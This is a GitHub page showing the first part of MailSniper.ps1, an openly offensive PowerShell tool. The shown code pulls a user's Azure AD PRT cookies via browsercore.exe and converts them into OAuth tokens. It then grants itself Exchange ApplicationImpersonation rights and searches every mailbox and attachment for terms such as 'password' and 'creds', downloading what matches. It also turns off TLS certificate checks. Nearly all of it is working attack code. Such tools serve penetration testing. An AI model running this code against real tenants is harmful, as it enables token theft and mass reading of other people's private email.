forked from S3cur3Th1sSh1t/MailSniper
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MailSniper.ps1
5682 lines (4525 loc) · 700 KB
/
MailSniper.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Global TLS Setting for all functions. If TLS12 isn't suppported you will get an exception when using the -Verbose parameter.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
function Get-UserPRTToken {
<#
.SYNOPSIS
Gets user's PRT token from the Azure AD joined, Hybrid joined computer Or Azure AD registered computer.
This is a modified version of the Get-UserPRTToken by @NestoriSyynimaa https://github.com/Gerenios/AADInternals/blob/3bcc70dbc08360921d35af699c0753198b35aab0/PRT.ps1
Updater:Yan Linkov (Illusive Networks)
.DESCRIPTION
Gets user's PRT token from the Azure AD joined, Hybrid joined computer Or Azure AD registered computer.
Uses browsercore.exe to get the PRT token.
**** please note that if more than one account is used for sso this will return an array of cookies e.g: multiple registered work accounts, that's why we use a login_hint when we use the cookies ****
#>
[cmdletbinding()]
Param([Parameter(Mandatory = $False)]
[String]$url = "`"https://login.microsoftonline.com`""
)
Process {
# There are two possible locations
$locations = @(
"$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe"
"$($env:windir)\BrowserCore\browsercore.exe"
)
# Check the locations
foreach ($file in $locations) {
if (Test-Path $file) {
$browserCore = $file
break
}
}
if (!$browserCore) {
throw "Browsercore not found! can't use SSO, use credentials instead!"
}
# Create the process
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $browserCore
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardInput = $true
$p.StartInfo.RedirectStandardOutput = $true
$p.StartInfo.CreateNoWindow = $true
# Create the message body
$body = @"
{"method": "GetCookies", "uri": $url, "sender": "https://login.microsoftonline.com"}
"@
# Start the process
$p.Start() | Out-Null
$stdin = $p.StandardInput
$stdout = $p.StandardOutput
# Write the input
$stdin.BaseStream.Write([bitconverter]::GetBytes($body.Length), 0, 4)
$stdin.Write($body)
$stdin.Close()
# Read the output
$response = ""
while (!$stdout.EndOfStream) {
$response += $stdout.ReadLine()
}
Write-Debug "RESPONSE: $response"
$p.WaitForExit()
# Strip the stuff from the beginning of the line
$response = $response.Substring($response.IndexOf("{")) | ConvertFrom-Json
# Check for error
if ($response.status -eq "Fail") {
Throw "Error getting PRT: $($response.code). $($response.description)"
}
# Return
return [System.Object[]]$response.response
}
}
function Get-HeadersWithPrtCookies {
<#
.SYNOPSIS
crates headers with PRT cookies for web request
Author:Yan Linkov (Illusive Networks)
.DESCRIPTION
Gets access token with PRT.
crates headers with PRT cookies for web request
#>
Param(
[Parameter(Mandatory = $True)]
[System.Object[]]$Cookies
)
Process {
$Headers = @{
"User-Agent" = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; Microsoft Outlook 16.0.4266)"
}
foreach ($Cookie in $Cookies) {
$Headers.add($Cookie.name, $Cookie.data)
}
return $Headers
}
}
function Get-AccessTokenWithPRT {
<#
.SYNOPSIS
Gets access token with PRT.
This is a modified version of the Get-AccessTokenWithPRT by @NestoriSyynimaa https://github.com/Gerenios/AADInternals/blob/3bcc70dbc08360921d35af699c0753198b35aab0/PRT_Utils.ps1
.DESCRIPTION
Gets access token with PRT.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory = $True)]
[String]$LoginHint,
[Parameter(Mandatory = $True)]
[String]$Resource,
[Parameter(Mandatory = $True)]
[String]$ClientId,
[Parameter(Mandatory = $False)]
[String]$RedirectUri = "urn:ietf:wg:oauth:2.0:oob"
)
Process {
# get proof of possesion cookies
$Cookies = Get-UserPRTToken
# Create url and headers
$Url = "https://login.microsoftonline.com/Common/oauth2/authorize?resource=$Resource&client_id=$ClientId&response_type=code&redirect_uri=$RedirectUri&login_hint=$LoginHint"
# build headers
$Headers = Get-HeadersWithPrtCookies -Cookies $Cookies
# Make the first request to get the authorization code (tries to redirect so throws an error)
$Response = Invoke-WebRequest -Uri $Url -Headers $Headers -MaximumRedirection 0 -ErrorAction SilentlyContinue
if ($Response.StatusCode -eq 200) {
Write-Host "[*] PRT Cookie is probably ok..."
}
#check if we need to ask a cookie for a new url with a proper request nonce
$Location = $Response.Headers.Location
if ($Response.StatusCode -eq 302 -and $Location) {
Write-Host "[*] probably bad cookie.. trying to renew..."
Write-Debug "location header: + $($Location)"
$Location = ("`"" + $Location + "`"")
$Cookies = Get-UserPRTToken -url $Location
$Headers = Get-HeadersWithPrtCookies -Cookies $Cookies
$Response = Invoke-WebRequest -Uri $Url -Headers $Headers -MaximumRedirection 0 -ErrorAction SilentlyContinue
}
# Try to parse the code from the response
if ($Response.content) {
$Values = $Response.content.Split("?").Split("\")
foreach ($Value in $Values) {
$Row = $Value.Split("=")
if ($Row[0] -eq "code") {
$Code = $Row[1]
Write-Verbose "CODE: $Code"
break
}
}
}
if (!$Code) {
write-host "Code not received! for account $LoginHint"
return
}
# Create the body
$body = @{
client_id = $ClientId
grant_type = "authorization_code"
code = $Code
redirect_uri = $RedirectUri
}
# Make the second request to get the access token
$Response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body -ContentType "application/x-www-form-urlencoded" -Method Post
# Return
return $Response
}
}
function Get-ExchangeAccessToken {
<#
.SYNOPSIS
Gets an oauth access token with EWS Permissions based on user's PRT
Author: Yan Linkov (Illusive Networks)
.PARAMETER AccountName
The account we want to get an access token for
.DESCRIPTION
Gets an acesss token to public office APP to obtain EWS permissions
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory = $True)]
[String]$AccountName
)
process {
$Resource = "https://outlook.office365.com"
$OfficeClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get access token to office app
$Authresponse = Get-AccessTokenWithPRT -Resource $Resource -ClientId $OfficeClientId -LoginHint $AccountName
return $Authresponse
}
}
function Get-ExoPsAccessToken {
<#
.SYNOPSIS
Gets an oauth access token with Exchange Online Powershell Permissions based on user's PRT
Author: Yan Linkov (Illusive Networks)
.PARAMETER AccountName
The account we want to get an access token for
.DESCRIPTION
Gets an acesss token to Exchange Online Powershell APP to obtain exchange online administration permissions
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory = $True)]
[String]$AccountName
)
process {
$Resource = "https://outlook.office365.com"
$ExoClientId = "a0c73c16-a7e3-4564-9a95-2bdf47383716"
# get access token to Exchange Online Powershell app
$Authresponse = Get-AccessTokenWithPRT -Resource $Resource -ClientId $ExoClientId -LoginHint $AccountName
# access token, refresh token
return $Authresponse
}
}
function Invoke-GlobalO365MailSearch {
<#
.SYNOPSIS
This module will connect to Exchange online 365 and grant the "ApplicationImpersonation" role to a specified user. Having the "ApplicationImpersonation" role allows that user to search through other domain user's mailboxes. After this role has been granted the Invoke-GlobalO365SearchFunction creates a list of all mailboxes in the Exchange database. The module then connects to Exchange Web Services using the impersonation role to gather a number of emails from each mailbox, and ultimately searches through them for specific terms.
This is a based on the original Invoke-GlobalMailSearch and has the same functionality except for the authentication
MailSniper Function: Invoke-GlobalO365MailSearch
Original Author: Beau Bullock (@dafthack)
Updater: Yan Linkov (Illusive Networks)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will connect to Exchange online 365 and grant the "ApplicationImpersonation" role to a specified user. Having the "ApplicationImpersonation" role allows that user to search through other domain user's mailboxes. After this role has been granted the Invoke-GlobalO365SearchFunction creates a list of all mailboxes in the Exchange database. The module then connects to Exchange Web Services using the impersonation role to gather a number of emails from each mailbox, and ultimately searches through them for specific terms.
.PARAMETER ImpersonationAccount
Username of the current user account the PowerShell process is running as. This user will be granted the ApplicationImpersonation role on Exchange.
.PARAMETER TimeOut
number of seconds to wait while exchange role assignment propogates.
.PARAMETER ExchHostname
The hostname of the Exchange server to connect to.
.PARAMETER AdminUserName
The username of an Exchange administrator (i.e. member of "Exchange Organization Administrators" or "Organization Management" group) including the domain (i.e. domain\adminusername).
.PARAMETER AdminPassword
The Password to the Exchange administrator (i.e. member of "Exchange Organization Administrators" or "Organization Management" group) account specified with AdminUserName.
.PARAMETER AutoDiscoverEmail
A valid email address that will be used to autodiscover where the Exchange server is located.
.PARAMETER MailsPerUser
The total number of emails to return for each mailbox.
.PARAMETER Terms
Certain terms to search through each email subject and body for. By default the script looks for "*password*","*creds*","*credentials*"
.PARAMETER OutputCsv
Outputs the results of the search to a CSV file.
.PARAMETER ExchangeVersion
In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1.
.PARAMETER EmailList
A text file listing email addresses to search (one per line).
.PARAMETER Folder
The folder of each mailbox to search. By default the script only searches the "Inbox" folder. By specifying 'all' for the Folder option all of the folders including subfolders of the specified mailbox will be searched.
.PARAMETER Regex
The regex parameter allows for the use of regular expressions when doing searches. This will override the -Terms flag.
.PARAMETER CheckAttachments
If the CheckAttachments option is added MailSniper will attempt to search through the contents of email attachements in addition to the default body/subject. These attachments can be downloaded by specifying the -DownloadDir option. It only searches attachments that are of extension .txt, .htm, .pdf, .ps1, .doc, .xls, .bat, and .msg currently.
.PARAMETER DownloadDir
When the CheckAttachments option finds attachments that are matches to the search terms the files can be downloaded to a specific location using the -DownloadDir option.
.PARAMETER UsePrtImpersonationAccount
Uses current user's PRT to to authenticate ImperonsationAccount.
.PARAMETER AccessTokenImpersonationAccount
Use provided oauth access token to authenticate ImperonsationAccount.
.PARAMETER UsePrtAdminAccount
Uses current user's PRT to to authenticate AdminAccount.
.PARAMETER AccessTokenAdminAccount
Use provided oauth access token to authenticate ImperonsationAccount.
.EXAMPLE
Invoke-GlobalO365MailSearch -ImpersonationAccount "[email protected]" -UsePrtImpersonationAccount -ExchHostname outlook.office365.com -AdminUserName "[email protected]" -UsePrtAdminAccount
#>
Param
(
[Parameter(Position = 0, Mandatory = $true)]
[string]
$ImpersonationAccount = "",
[Parameter(Position = 1, Mandatory = $false)]
[int]
$TimeOut = 120,
[Parameter(Position = 2, Mandatory = $false)]
[system.URI]
$ExchHostname = "outlook.ofiice365.com",
[Parameter(Position = 3, Mandatory = $True)]
[string]
$AdminUserName = "",
[Parameter(Position = 4, Mandatory = $false)]
[string]
$AdminPassword = "",
[Parameter(Position = 5, Mandatory = $False)]
[string[]]$Terms = ("*password*", "*creds*", "*credentials*"),
[Parameter(Position = 6, Mandatory = $False)]
[int]
$MailsPerUser = 100,
[Parameter(Position = 7, Mandatory = $False)]
[string]
$OutputCsv = "",
[Parameter(Position = 8, Mandatory = $False)]
[string]
$ExchangeVersion = "Exchange2013_SP1",
[Parameter(Position = 9, Mandatory = $False)]
[string]
$EmailList = "",
[Parameter(Position = 10, Mandatory = $False)]
[string]
$Folder = "Inbox",
[Parameter(Position = 11, Mandatory = $False)]
[string]
$Regex = '',
[Parameter(Position = 12, Mandatory = $False)]
[switch]
$CheckAttachments,
[Parameter(Position = 13, Mandatory = $False)]
[string]
$DownloadDir = "",
[Parameter(Position = 14, Mandatory = $False)]
[switch]
$UsePrtImpersonationAccount,
[Parameter(Position = 15, Mandatory = $False)]
[string]
$AccessTokenImpersonationAccount,
[Parameter(Position = 16, Mandatory = $False)]
[switch]
$UsePrtAdminAccount,
[Parameter(Position = 17, Mandatory = $False)]
[string]
$AccessTokenAdminAccount
)
#Check for a method of connecting to the Exchange Server
if ($ExchHostname -ne "") {
Write-Output ""
}
else {
Write-Output "[*] ExchHostname was not entered! falling back to default outlook.office365.com"
}
#Running the LoadEWSDLL function to load the required Exchange Web Services dll
LoadEWSDLL
#The specific version of Exchange must be specified
Write-Output "[*] Trying Exchange version $ExchangeVersion"
$ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion
## Choose to ignore any SSL Warning issues caused by Self Signed Certificates
## Code From http://poshcode.org/624
## Create a compilation environment
$Provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$Compiler = $Provider.CreateCompiler()
$Params = New-Object System.CodeDom.Compiler.CompilerParameters
$Params.GenerateExecutable = $False
$Params.GenerateInMemory = $True
$Params.IncludeDebugInformation = $False
$Params.ReferencedAssemblies.Add("System.DLL") > $null
$TASource = @'
namespace Local.ToolkitExtensions.Net.CertificatePolicy {
public class TrustAll : System.Net.ICertificatePolicy {
public TrustAll() {
}
public bool CheckValidationResult(System.Net.ServicePoint sp,
System.Security.Cryptography.X509Certificates.X509Certificate cert,
System.Net.WebRequest req, int problem) {
return true;
}
}
}
'@
$TAResults = $Provider.CompileAssemblyFromSource($Params, $TASource)
$TAAssembly = $TAResults.CompiledAssembly
## We now create an instance of the TrustAll and attach it to the ServicePointManager
$TrustAll = $TAAssembly.CreateInstance("Local.ToolkitExtensions.Net.CertificatePolicy.TrustAll")
[System.Net.ServicePointManager]::CertificatePolicy = $TrustAll
## end code from http://poshcode.org/624
$AdminToken = ""
if ($UsePrtAdminAccount) {
$AdminToken = $(Get-ExoPsAccessToken -AccountName $AdminUserName).access_token
}
elseif ($AccessTokenAdminAccount) {
$AdminToken = $AccessTokenAdminAccount
}
Get-PSSession -name exo* | Remove-PSSession -Confirm:$false
$Authorization = ""
if ($AdminToken -ne "") {
# Build the auth information
$Authorization = "Bearer {0}" -f $AdminToken
}
elseif ($AdminPassword) {
$Authorization = $AdminPassword
}
$UserId = $AdminUserName
#create the "basic" token to send to O365 EXO
$Password = ConvertTo-SecureString -AsPlainText $Authorization -Force
$Credtoken = New-Object System.Management.Automation.PSCredential -ArgumentList $UserId, $Password
# Create and import the session
$Session = New-PSSession -Name EXO -ConfigurationName Microsoft.Exchange -ConnectionUri "https://$ExchHostname/PowerShell-LiveId?BasicAuthToOAuthConversion=true" -Credential $Credtoken -Authentication Basic -AllowRedirection -ErrorAction Stop
Import-Module (Import-PSSession $Session -AllowClobber) -Global -WarningAction 'SilentlyContinue'
#Allow user to impersonate other users
Write-Output "[*] Now granting the $ImpersonationAccount user ApplicationImpersonation rights!"
$ImpersonationAssignmentName = -join ((65..90) + (97..122) | Get-Random -Count 10 | % { [char]$_ })
New-ManagementRoleAssignment -Name:$ImpersonationAssignmentName -Role:ApplicationImpersonation -User:$ImpersonationAccount | Out-Null
#wait for role assingment to propogate
write-host "[*] Exchange is taking its time to assign the ApplicationImpersonation role..wait $TimeOut sec.. or change the TimeOut parameter"
start-sleep -Seconds $TimeOut
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion)
#Using current user's credentials to connect to EWS
# Impersonation account credential
$Token = ""
if ($UsePrtImpersonationAccount) {
$Token = $(Get-ExchangeAccessToken -AccountName $ImpersonationAccount).access_token
}
else {
$Token = $AccessTokenImpersonationAccount;
}
if ($Token -ne "") {
$service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$Token
}
else {
write-host "[*] No Impersonation account credentials were supplied please authenticate"
$remotecred = Get-Credential -UserName $ImpersonationAccount -Message "[*] Please enter passowrd for $ImpersonationAccount"
$service.Credentials = $remotecred.GetNetworkCredential()
}
#Get a list of all mailboxes
if ($EmailList -ne "") {
$AllMailboxes = Get-Content -Path $EmailList
Write-Host "[*] The total number of mailboxes discovered is: " $AllMailboxes.count
}
else {
$SMTPAddresses = Get-Mailbox -ResultSize unlimited | Select Name -ExpandProperty PrimarySmtpAddress
$AllMailboxes = $SMTPAddresses -replace ".*:"
Write-Host "[*] The total number of mailboxes discovered is: " $AllMailboxes.count
}
#Set the Exchange Web Services URL
if ($ExchHostname -ne "") {
("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx")
$service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx"))
}
Write-Host -foregroundcolor "yellow" "`r`n[*] Now connecting to EWS to search the mailboxes!`r`n"
#Search function searches through each mailbox one at a time
ForEach ($Mailbox in $AllMailboxes) {
$i++
Write-Host -NoNewLine ("[" + $i + "/" + $AllMailboxes.count + "]") -foregroundcolor "yellow"; Write-Output (" Using " + $ImpersonationAccount + " to impersonate " + $Mailbox)
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, $Mailbox );
$rootFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, 'MsgFolderRoot')
$folderView = [Microsoft.Exchange.WebServices.Data.FolderView]100
$folderView.Traversal = 'Deep'
$rootFolder.Load()
if ($Folder -ne "all") {
$CustomFolderObj = $rootFolder.FindFolders($folderView) | Where-Object { $_.DisplayName -eq $Folder }
}
else {
$CustomFolderObj = $rootFolder.FindFolders($folderView)
}
$PostSearchList = @()
Foreach ($foldername in $CustomFolderObj) {
Write-Output "[***] Found folder: $($foldername.DisplayName)"
try {
$Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, $foldername.Id)
}
catch {
$ErrorMessage = $_.Exception.Message
if ($ErrorMessage -like "*Exchange Server doesn't support the requested version.*") {
Write-Output "[*] ERROR: The connection to Exchange failed using Exchange Version $ExchangeVersion."
Write-Output "[*] Try setting the -ExchangeVersion flag to the Exchange version of the server."
Write-Output "[*] Some options to try: Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1."
break
}
else{Write-Verbose $ErrorMessage}
}
$PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::FirstClassProperties)
$PropertySet.RequestedBodyType = [Microsoft.Exchange.WebServices.Data.BodyType]::Text
try {
$mails = $Inbox.FindItems($MailsPerUser)
}
catch [Exception] {
Write-Host -foregroundcolor "red" ("[*] Warning: " + $Mailbox + " does not appear to have a mailbox.")
continue
}
if ($regex -eq "") {
Write-Output ("[*] Now searching mailbox: $Mailbox for the terms $Terms.")
}
else {
Write-Output ("[*] Now searching the mailbox: $Mailbox with the supplied regular expression.")
}
foreach ($item in $mails.Items) {
$item.Load($PropertySet)
if ($Regex -eq "") {
foreach ($specificterm in $Terms) {
if ($item.Body.Text -like $specificterm) {
$PostSearchList += $item
}
elseif ($item.Subject -like $specificterm) {
$PostSearchList += $item
}
}
}
else {
foreach ($regularexpresion in $Regex) {
if ($item.Body.Text -match $regularexpresion) {
$PostSearchList += $item
}
elseif ($item.Subject -match $regularexpresion) {
$PostSearchList += $item
}
}
}
if ($CheckAttachments) {
foreach ($attachment in $item.Attachments) {
if ($attachment -is [Microsoft.Exchange.WebServices.Data.FileAttachment]) {
if ($attachment.Name.Contains(".txt") -Or $attachment.Name.Contains(".htm") -Or $attachment.Name.Contains(".pdf") -Or $attachment.Name.Contains(".ps1") -Or $attachment.Name.Contains(".doc") -Or $attachment.Name.Contains(".xls") -Or $attachment.Name.Contains(".bat") -Or $attachment.Name.Contains(".msg")) {
$attachment.Load() | Out-Null
$plaintext = [System.Text.Encoding]::ASCII.GetString($attachment.Content)
if ($Regex -eq "") {
foreach ($specificterm in $Terms) {
if ($plaintext -like $specificterm) {
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "") {
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + "-" + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -like $specificterm) {
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "") {
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
else {
foreach ($regularexpresion in $Regex) {
if ($plaintext -match $regularexpresion) {
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "") {
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -match $regularexpresion) {
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "") {
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
}
}
}
}
}
}
if ($OutputCsv -ne "") {
$TempOutputCsv = "$OutputCsv$(".temp")"
$PostSearchList | % { $_.Body = $_.Body -replace "`r`n", '\n' -replace ",", ',' }
$PostSearchList | Select-Object Sender, ReceivedBy, Subject, Body | Export-Csv $TempOutputCsv -encoding "UTF8"
if ($TempOutputCsv) {
Import-Csv $TempOutputCsv | ConvertTo-Csv -NoTypeInformation | Select-Object -Skip 1 | Out-File -Encoding ascii -Append $OutputCsv
Remove-Item $TempOutputCsv
}
}
else {
$PostSearchList | ft -Property Sender, ReceivedBy, Subject, Body | Out-String
}
}
if ($OutputCsv -ne "") {
$filedata = Import-Csv $OutputCsv -Header Sender , ReceivedBy , Subject , Body
$filedata | Export-Csv $OutputCsv -NoTypeInformation
Write-Host -foregroundcolor "yellow" "`r`n[*] Results have been output to $OutputCsv"
}
#Remove User from impersonation role
Write-Output "`r`n[*] Removing ApplicationImpersonation role from $ImpersonationAccount."
Get-ManagementRoleAssignment -RoleAssignee $ImpersonationAccount -Role ApplicationImpersonation -RoleAssigneeType user | Remove-ManagementRoleAssignment -confirm:$false
}
function Invoke-GlobalMailSearch{
<#
.SYNOPSIS
This module will connect to a Microsoft Exchange server and grant the "ApplicationImpersonation" role to a specified user. Having the "ApplicationImpersonation" role allows that user to search through other domain user's mailboxes. After this role has been granted the Invoke-GlobalSearchFunction creates a list of all mailboxes in the Exchange database. The module then connects to Exchange Web Services using the impersonation role to gather a number of emails from each mailbox, and ultimately searches through them for specific terms.
MailSniper Function: Invoke-GlobalMailSearch
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will connect to a Microsoft Exchange server and grant the "ApplicationImpersonation" role to a specified user. Having the "ApplicationImpersonation" role allows that user to search through other domain user's mailboxes. After this role has been granted the Invoke-GlobalMailSearch function creates a list of all mailboxes in the Exchange database. The module then connects to Exchange Web Services using the impersonation role to gather a number of emails from each mailbox, and ultimately searches through them for specific terms.
.PARAMETER ImpersonationAccount
Username of the current user account the PowerShell process is running as. This user will be granted the ApplicationImpersonation role on Exchange.
.PARAMETER ExchHostname
The hostname of the Exchange server to connect to.
.PARAMETER AdminUserName
The username of an Exchange administrator (i.e. member of "Exchange Organization Administrators" or "Organization Management" group) including the domain (i.e. domain\adminusername).
.PARAMETER AdminPassword
The Password to the Exchange administrator (i.e. member of "Exchange Organization Administrators" or "Organization Management" group) account specified with AdminUserName.
.PARAMETER AutoDiscoverEmail
A valid email address that will be used to autodiscover where the Exchange server is located.
.PARAMETER MailsPerUser
The total number of emails to return for each mailbox.
.PARAMETER Terms
Certain terms to search through each email subject and body for. By default the script looks for "*password*","*creds*","*credentials*"
.PARAMETER OutputCsv
Outputs the results of the search to a CSV file.
.PARAMETER ExchangeVersion
In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1.
.PARAMETER EmailList
A text file listing email addresses to search (one per line).
.PARAMETER Folder
The folder of each mailbox to search. By default the script only searches the "Inbox" folder. By specifying 'all' for the Folder option all of the folders including subfolders of the specified mailbox will be searched.
.PARAMETER Regex
The regex parameter allows for the use of regular expressions when doing searches. This will override the -Terms flag.
.PARAMETER CheckAttachments
If the CheckAttachments option is added MailSniper will attempt to search through the contents of email attachements in addition to the default body/subject. These attachments can be downloaded by specifying the -DownloadDir option. It only searches attachments that are of extension .txt, .htm, .pdf, .ps1, .doc, .xls, .bat, and .msg currently.
.PARAMETER DownloadDir
When the CheckAttachments option finds attachments that are matches to the search terms the files can be downloaded to a specific location using the -DownloadDir option.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -ExchHostname Exch01 -OutputCsv global-email-search.csv
Description
-----------
This command will connect to the Exchange server located at 'Exch01' and prompt for administrative credentials. Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services as "current-username" where by default 100 of the latest emails from each mailbox will be searched through for the terms "*pass*","*creds*","*credentials*" and output to a CSV called global-email-search.csv.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -MailsPerUser 2000 -Terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*"
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered, and prompt for administrative credentials. Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services as "current-username" where 2000 of the latest emails from each mailbox will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*".
.EXAMPLE
